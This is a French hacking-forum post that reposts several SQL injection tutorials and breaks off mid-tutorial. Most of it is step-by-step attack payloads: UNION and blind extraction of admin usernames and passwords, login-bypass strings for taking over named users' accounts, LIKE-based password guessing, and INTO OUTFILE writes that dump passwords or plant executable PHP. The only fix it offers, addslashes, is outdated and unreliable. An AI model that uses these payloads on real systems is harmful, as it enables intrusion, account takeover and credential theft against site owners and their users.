Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: la faille SQL ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 15:27 (2011)    Sujet du message: la faille SQL Répondre en citant

Je ne vais pas refaire un enieme tutoriel sur les injection SQL mais reposter les Meilleurs tutoriel d'injection SQL disponible sur le net

tuto 1  http://dl.packetstormsecurity.net/papers/general/petite-sql.txt et http://www.exploit-db.com/papers/12903/
tuto 2  http://www.zmaster.fr/informatique_article_212.html
tuto 3  http://www.phpsecure.info/v2/article/InjSql.php
tuto 4  http://www.linux-pour-lesnuls.com/injection.php
tuto 5  http://php.net/manual/fr/security.database.sql-injection.php
tuto 6  http://www.geeknoise.com/482/trouver-et-exploiter-des-injections-sql/


tuto1
__________
Chapitre I)
__________

1) Description : SQL INJECTION.
2) Comment reconnaitre qu'un site est vulnérable a un SQL ?
3) Trouver le nombre de columns.
4) Utiliser la fonction UNION.
5) Trouver la version du MySQL.
6) Trouver les noms des colomns et tables et l'exploitation.

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
2) Comment reconnaitre qu'un site est vulnérable au Blind SQL ?
3) Trouver la version du MySQL.
4) Tester si la sélection marche.
5) Trouver les noms des columns et tables et l'exploitation.


-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

>> Passons aux choses sérieuses maintenant...

__________
Chapitre I)
__________

1) Description : SQL INJECTION.

Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications type " web " de nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grâce a l'url a certains renseignements confidentiels et bien d'autres...

=============>

2) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commençons ce tutoriel.

Prenons un exemple d'un site par exemple:

Code:
http://www.site-exemple.com/news.php?id=9


Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons un ' ( quote ) et donc l'exemple deviendra :

Code:
http://www.site-exemple.com/news.php?id=9'


<= Quote ajouter !

Maintenant, si vous apercevez une erreur du genre:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL.

=============>

3) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce que nous obtenons une erreur comme dans l'exemple ci-dessous:

Code:
http://www.site-exemple.com/news.php?id=9 order by 1/*


<-- no error

Code:
http://www.site-exemple.com/news.php?id=9 order by 2/*


<-- no error

Code:
http://www.site-exemple.com/news.php?id=9 order by 3/*


<-- no error

Code:
http://www.site-exemple.com/news.php?id=9 order by 4/*


<-- error (une erreur du genre: Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)

Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4.

=============>

4) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois.
Donc nous aurons:

Code:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/*


( Nous avons deja trouver que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). )

Si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par --

=============>

5) Trouver la version du MySQL.
Disons que nous avons le numéro 2 , maintenant il faudra connaitre la version MySQL , pour cela nous allons remplacer le numéro 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du même type...

Alors l'exemple sera:

Code:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*


Bingo , la version du MySQL est devant vos yeux


=============>

6) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

Code:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*


Si vous apercevez le numéro 2 , alors cela signifie que vous venez de trouver la table d'admin et qu'il existe...

Cherchons les noms des columns:

Code:
http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/*


( Si vous avez une erreur ici , alors essayer un autre nom de column )
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

Code:
http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/*


( Si vous avez une erreur ici , alors essayer un autre nom de column )
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.

Code:
http://www.site-exemple.com/news.php?id=9 union all select 1,concat(username,0x3a,password),3 from admin/*


Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION :

Le Blind se définit comme le SQL normal sauf qu'il est un peu plus dure....

=============>

2) Comment reconnaitre qu'un site est vulnérable au Blind SQL ?

Prenons un exemple de:

Code:
http://www.site-exemple.com/news.php?id=9


Quand on ouvre la page , nous voyons des articles, images ou autres...
Vous pouvez donc tester le Blind :

Code:
http://www.site-exemple.com/news.php?id=9 and 1=1


Ceci est toujours vrai !
Si la page se charge normalement , c'est bon.

Code:
http://www.site-exemple.com/news.php?id=9 and 1=2


Ceci est faux. Donc si quelques textes, images ou un truc est oublié ou déformer, alors ce site est exploitable par le blind SQL.

=============>

3) Trouver la version du MySQL.

Pour avoir la version dans le blind, nous utiliserons le " substring ".

Code:
http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4


Si la page s'affiche normalement, alors c'est une version 4.

Code:
http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5


Si la page s'affiche normalement, alors c'est une version 5.

=============>

4) Tester si la sélection marche.

Quand le select ne marche pas, nous utiliserons donc le subselect.

Exemple:

Code:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1


Si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons l'accès au MYSQL.user , on fait:

Exemple:

Code:
http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1


Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons avoir quelques mot de passe en utilisant la fonction load_file() et OUTFILE.

=============>

5) Trouver les noms des columns et tables et l'exploitation.

Exemple:

Code:
http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1


Si la page se charge normalement sans erreur alors la table users existe.
Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a vous de devinez
c'est un bon jeu hein...

Disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne..
tout comme cela du nom de table, nous commençons la devinette !!

Code:
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1


Si la page se charge normalement, alors le nom de la colonne est password.

Ainsi , nous avons la table et la colonne , exploitons


Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple:

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95


Nous avons eu une fois de plus un chargement normal... On continue

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98


Pareille, continuons

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


ERREURRR !!! Donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " .

Maintenant cherchons le second caractère:

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99


Noter que je change ,1,1 a ,2,1 pour avoir le second caractère

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99


La page se charge normalement

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR


nombre inférieur..

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104


Chargement normal , élevé.

Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR


Donc nous savons dés a présent que le deuxième caractère est char (105) et que c'est ' i ' , cela fera " ci " jusqu'à présent...

Faite cela en mode croissant jusqu'à ce que vous obtenez la fin. ( Si< 0 retourne faux, nous avons atteint la fin alors ).

Voilà, c'était la méthode manuelle, mais il existe aussi des logiciels qui s'en charges.

tuto 2

Les injections SQL Sommaire :

1- Description de la faille
2- Se loguer sans mot de passe avec SELECT
3- Se loguer sur le compte d'une autre personne
4- Trouver le mot de passe avec LIKE
5- Corriger la faille

1 - Description de la faille
On peut faire beaucoup d'injections SQL différentes, ici je vous expliquerai comment passer un formulaire de connection alors qu'on n'a pas le mot de passe et comment ensuite trouver ce mot de passe.
Pour bypasser le formulaire de connection et se logguer on va injecter des petits morçeaux de codes SQL dont les informations sont forcément vraies (par exemple : 1=1).

Code HTML du formulaire de connection :
<form method="post>







La plupart des sites utilisent un formulaire de connection similaire a celui-ci.
Les informations envoyées dans ce formulaire sont ensuite traitées par une page en PHP qui vérifient les informations entrées avec celle présentes dans la base de données.

2 - Se loguer sans mot de passe avec SELECT
Les variables que vous avez enteés dans le forumaire vont etre ensuite utilisées dans les requetes SQL. La faille est a ce niveau.
Il y a une fonction qui s'apelle get_magic_quotes_gpc() qui rajoute des antislashs ( ) devant les quotes ( ' ) et les doubles quotes ( " ) pour éviter les injections SQL.
Mais cette fonction n'est pas toujours activé par les hébergeurs ce qui engendre une vulnérabilité.

Dans ce premier exemple les logins et mots de passe sont stockés dans une table users de la base de donnée et nous allons prendre comme login it's me et comme password ah'ah"ah
Si get_magic_quotes_gpc() est activée, la requete sera interprétée comme cela :



Code : SQL
SELECT login FROM users WHERE login='it\'s me ' AND password='ah\'ah\"ah'


Si get_magic_quotes_gpc() est désactivée, la requete sera interprétée comme ceci :



Code : SQL
SELECT login FROM users WHERE login='it's me ' AND password='ah'ah"ah'
Le code SQL selectionne le login ( it's me ) si le login est dans la base de donnée et que le mot de passe entré correspond au mot de passe de la base de donnée.

Pour l'instant vous ne voyez pas le danger que provoque la désactivation de get_magic_quotes_gpc(), mais vous allez comprendre.

Nous allons maintenant injecter des données vraies dans le code SQL grace au formulaire de connection.
Les informations vraies seront par exemple :

- 1=1
- 2=2
- 'a'='a' (je met les quotes car les caractères doivent etre entourés de quotes ' dans les requetes SQL)
- 'z'='z'
- 42<69

Enfin vous l'aurez compris, il existe beaucoup d'informations vraies a injecter. Mais nous n'en avons besoin que d'une.

On va choisir 'a'='a' comme information vraie car c'est celle qu'on utilise le plus souvent pour ce genre d'injection mais vous pouvez essayer avec d'autres informations vraies.
On va injecter 'OR 'a'='a comme login et comme mot de passe dans le formulaire de connection.
Non, je ne me suis pas trompé avec les quotes, on va bien entrer 'OR 'a'='a
Vous pensez peut etre qu'il y a un quote ' en trop au début et un quote ' qui manque a la fin, mais c'est justement cela qui permet de jouer sur la fermeture de la requete.

Une fois qu'on aura entré 'OR 'a'='a en pseudo et en login, la requete SQL sera :
Code : SQL
SELECT login FROM users WHERE login=''OR 'a'='a' AND password=''OR 'a'='a'
Maintenant vous comprenez mieux pourquoi j'ai mis un quote ' au début et que je n'en ai pas mis a la fin.
En effet, il y a déja un quote ' a la fin de la requete.
J'ai mis des couleurs au code SQL pour que vous compreniez mieux. En bleu la requete SQL de base et en rouge ce qu'on a entré dans le formulaire.

Pour ceux qui n'aurait pas compris, la partie OR 'a'='a' renverra forcément vrai.

Quand il n'y a rien entre 2 quotes '', cela veut dire que la chaine de caractère est vide mais cela ne nous sera jamais utile, a part si vous tombez sur un site web qui ne vérifie pas que les champs soient remplies et qu'un mec n'a rien mis en mot de passe. Autant vous dire que les chances sont très minces.
En plus nous n'avons pas besoin de cela pour se connecter a la place d'une autre personne puisque vous pourrez bientot vous connecter sans le mot de passe de votre victime.

La requete ci-dessus selectionne le pseudo ( 'OR 'a'='a ) si il n'y a pas de mot de passe ou si 'a'='a' .
Comme 'a' est toujours égale à 'a'le pseudo sera a chaque fois selectionné et vous serez connecté au site.

Alors vous etes content, vous venez de reussir a vous connecter sur un site en bypassant le mot de passe.

On va essayer de faire une injection avec une autre donnée vraie pour etre sur que vous avez compris.
On va essayer d'injecter 1=1, normalement c'est plus facile car on n'a moins de problémes avec les quotes ' mais on devra tout de même injecter une information de type caractére entourée par des quotes pour le mot de passe.

Par exemple, si on entre 'OR 1=1 en pseudo et en mot de passe.
La requete SQL sera :


Code : SQL
SELECT login FROM users WHERE login=''OR 1=1' AND password=''OR 1=1'
Mais cette requete SQL ne marchera pas car, si vous regardez les quotes vous vous rendez compte que certains quotes ne sont pas fermés au bon endroit.
Le quote a la fin de login=''OR 1=1'est invalide car il ouvre un quote qui est mal placé.
Maintenant vous comprenez pourquoi j'ai injecté 'a'='a' tout a l'heure.
On va donc revenir a notre exemple avec 'OR 'a'='a

Le probléme c'est qu'on a entré 'OR 'a'='a en pseudo, et que le site nous a logiquement loggué avec comme login 'OR 'a'='a.
C'est pas très joli, n'est ce pas ?

3 - Se loguer sur le compte d'une autre personne On va maintenant voir comment se connecter sur le compte d'une autre personne car c'est tout de meme beaucoup plus intéréssant.
Dans notre exemple, on va essayer de se connecter au compte de TomSawyer alors qu'on ne connait pas son mot de passe.

On va donc commencer par entrer TomSawyer comme login dans le formulaire de connection. Ca c'est logique.
Et on va maintenant utiliser le #. Si vous avez réelement appris le PHP (pas si vous l'avez appris avec 2-3 tutos sur un site web), vous connaissez ce symbole et vous savez ce qu'il fait.

Un petit rappel pour les autres, tous les instructions que vous allez écrire après le # ne seront pas interprétées.
Et cela va nous etre très utile car on a souvent un quote en trop quand on fait des injections SQL.

En mot de passe, on va entrer 'OR 1=1#
Ce qui va donner :



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password=''OR 1=1#'
Ce qui équivaut également à la requete ci-dessous comme le quote ' après le # n'est pas interprété.

Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password=''OR 1=1

La reqete selectionne le pseudo TomSawyer si le mot de passe est vide ( '' ) ou si 1=1, comme on l'a déja vu comme 1 est toujours égal à 1, le pseudo TomSawyer sera selectionné et nous nous connecterons a son compte.

La vérification du mot de passe ne sert plus a rien dans cet exemple comme on arrive a passer à travers.

On peut faire encore plus simple, regardez ce que cela donne si on entre TomSawyer'# en pseudo et ce que vous voulez en mot de passe.



Code : SQL
SELECT login FROM users WHERE login='TomSawyer'#' AND password='blablabla'

Si vous observez bien les quotes, le login est selectionné sera bien TomSawyer puisque qu'il est entouré de quote.
Le # permet d'occulter tout ce qui se trouve après lui.
Vous pouvez mettre ce que vous voulez en mot de passe comme celui-ci ne sera pas vérifié (à cause du quote '). Mais mettez quelque chose car la plupart des scripts PHP vérifient que les champs du formulaire soient bien remplis.

La requete SQL sera donc interpreté comme celle qui suit (on a simplement supprimé tout ce qui se trouvait après le #) :



Code : SQL
SELECT login FROM users WHERE login='TomSawyer'
La requete que nous obtenons est donc simpliste : on selectionne le login TomSawyer (on se connecte avec comme login TomSawyer) et il n'y a aucune vérification.
C'était facile, non ?
Maintenant on va essayer de trouver le mot de passe de TomSawyer.

4 - Trouver le mot de passe avec LIKE Maintenant vous savez comment entrer sur le compte d'une personne sans avoir son mot de passe.
Mais cela peut etre de connaitre ce mot de passe.
Par exemple si vous voulez changer le mot de passe de la personne, la plupart du temps le mot de passe initial est démandé.

On va continuer a faire des injections SQL dans le formulaire de connection pour trouver le mot de passe.

La première chose a faire quand on cherche un mot de passe, c'est de trouver sa longueur grâce à la fonction LENGTH.
On va entrer comme login TomSawyer' AND LENGTH(password)=4# et ce que vous voulez en mot de passe.

La requete sera alors :

 
Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND LENGTH(password)=4#' AND password='blablabla'

qui équivaut a la requete suivante apreès suppression des instructions après le # :



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND LENGTH(password)=4

Si vous vous connectez au compte de TomSawyer cela signifie que son mot de passe fait 4 caractéres.
Si cela ne marche pas, essayer avec 5, 6, 7, 8 etc...
Plus le mot de passe est long, plus il sera dur a trouver.

Si le mot de passe est crypté en MD5, sa longueur sera 32 et il sera très difficile à trouver.

Maintenant qu'on connait la longueur du mot de passe, on va essayer de le trouver.
Je vous préviens tout de suite, c'est pas très marrant à faire et c'est très répétitif. Vous pouvez d'ailleurs créer un script qui le fait a votre place, mais vous ne pourrez le faire qu'une fois que vous aurez bien compris le principe.

On va maintenant utiliser LIKE.
Mettez TomSawyer' AND password LIKE 'a%'# en pseudo.

La requête devrait etre :



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'a%'#' AND password='blablabla'

équivalent à :



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'a%'

Si le mot de passe de TomSawyer commence par un a, vous vous connectez a son compte.
Si vous restez sur la page de connection c'est que son mot de passe ne commence pas par un a, essayez donc avec b, puis c etc (vous connaissez l'alpahbet).
Si vous ne trouvez toujours pas essayer des chiffres (1,2,3). Attention a essayer les chiffres, chiffre par chiffre, n'essayez pas directement 12 par exemple.

Si le mot de passe est codé en MD5, on aura pas besoin d'essayer toutes les lettres. En effet les mots de passes codés en MD5 sont en hexadécimal donc ils ne sont composés que des chiffres de 0 à 9 et de a,b,c,d et e.
Par contre il sera difficile car cela sera une suite de chiffre et de lettre sans aucun sens.

Une fois que vous avez trouvé la première lettre, il faut trouver la deuxiéme (logique).
Mettez alors TomSawyer' AND password LIKE 'aa%'# en pseudo.



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'aa%'#

Si cela ne marche pas c'est que la deuxiéme lettre n'est pas a.
On va donc essayer avec b comme deuxiéme lettre.



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'ab%'#

Et on tente les lettres les unes après les autres jusqu'a ce que cela marche, quand vous avez essayer les lettres de a à z , essayez les chiffres de 0 à 9.

Si cela ne marche toujours pas, il se peut que les mot de passe soient sensibles a la casse (majuscules et minuscules) ou encore qu'il y ai des caractéres spéciaux. C'est beaucoup beaucoup plus dur dans ces cas là.

Les dernières lettres du mot de passe sont souvent plus faciles a trouver car quand le mot de passe a un sens, on le devine souvent.

Dans notre exemple, imaginons qu'après 20 minutes, on est les 3 premières lettres (sur les 4).



Code : SQL
SELECT login FROM users WHERE login='TomSawyer' AND password LIKE 'all%'#

Pour la prochaine et dernière lettre (4éme), on tentera directement avec un o plutot que d'essayer encore une fois toutes les lettres de l'alphabet en commencant par a.

Une fois le mot de passe trouvé, dans ce cas là c'est allo (oui c'est assez idiot comme mot de passe, mais c'est un exemple simple).

Comme vous avez pu le voir la methode est longue, mais c'est plus rapide quand on connait la longueur du mot de passe et comme je vous l'ai déja dit, c'est assez simple de concevoir un script qui teste tout a votre place
Le script sera bien plus rapide que les logiciels qui teste en brute force car il teste beaucoup moins de possibilités puisque et il saura que dès qu'il a une lettre bonne.

5 - Corriger la faille Si vous etes webmaster et que votre hébergeur a désactivé la fonction get_magic_quotes_gpc() alors vous pouvez etre victime d'injection SQL.
Pour vous protéger vous et vos membres, utilisez la fonction addlashes() qui rajoute des anti-slashs devant les quotes ' si get_magic_quotes_gpc() est désactivée.

Par exemple :


Code : PHP
$login = addslashes($_POST['login']);
$password = addslashes($_POST['password']);
Si vous êtes un utilisateur, je vous conseille de bien choisir vos mot de passe, si possible long et avec des chiffres car comme vous avez pu le voir, ils sont bien plus durs à trouver.

tuto 3


L'injection (My)SQL via PHP  
Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit
  
Introduction :  
Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:
  
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";
  

où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :

<form method="POST" action="<? echo $PHP_SELF; ?>">



  

Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
  
Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?)

Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :

SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name
  

Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :

$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";
  

On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :

SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
  

Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :

SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
  

Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :

SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'
  



Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :

SELECT * FROM table WHERE nom='Jack'# commentaire
  

exécutera la requête :

SELECT * FROM table WHERE nom='Jack'
  

L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :

SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'
  

exécutera la requête :

SELECT * FROM table WHERE addresse='25 rue des roubys'
  

L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance

Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :

SELECT uid FROM admins WHERE login='John'#' AND password=''
  

et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :

SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
  



Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :

$req = "SELECT password FROM admins WHERE login='$login'";
  

Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :

SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'
  

enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :

SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'
  

Et le mot de passe de John sera enregistré dans le fichier %5Btarget%5D/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.

Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps


L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :

$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";
  

mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection
) :

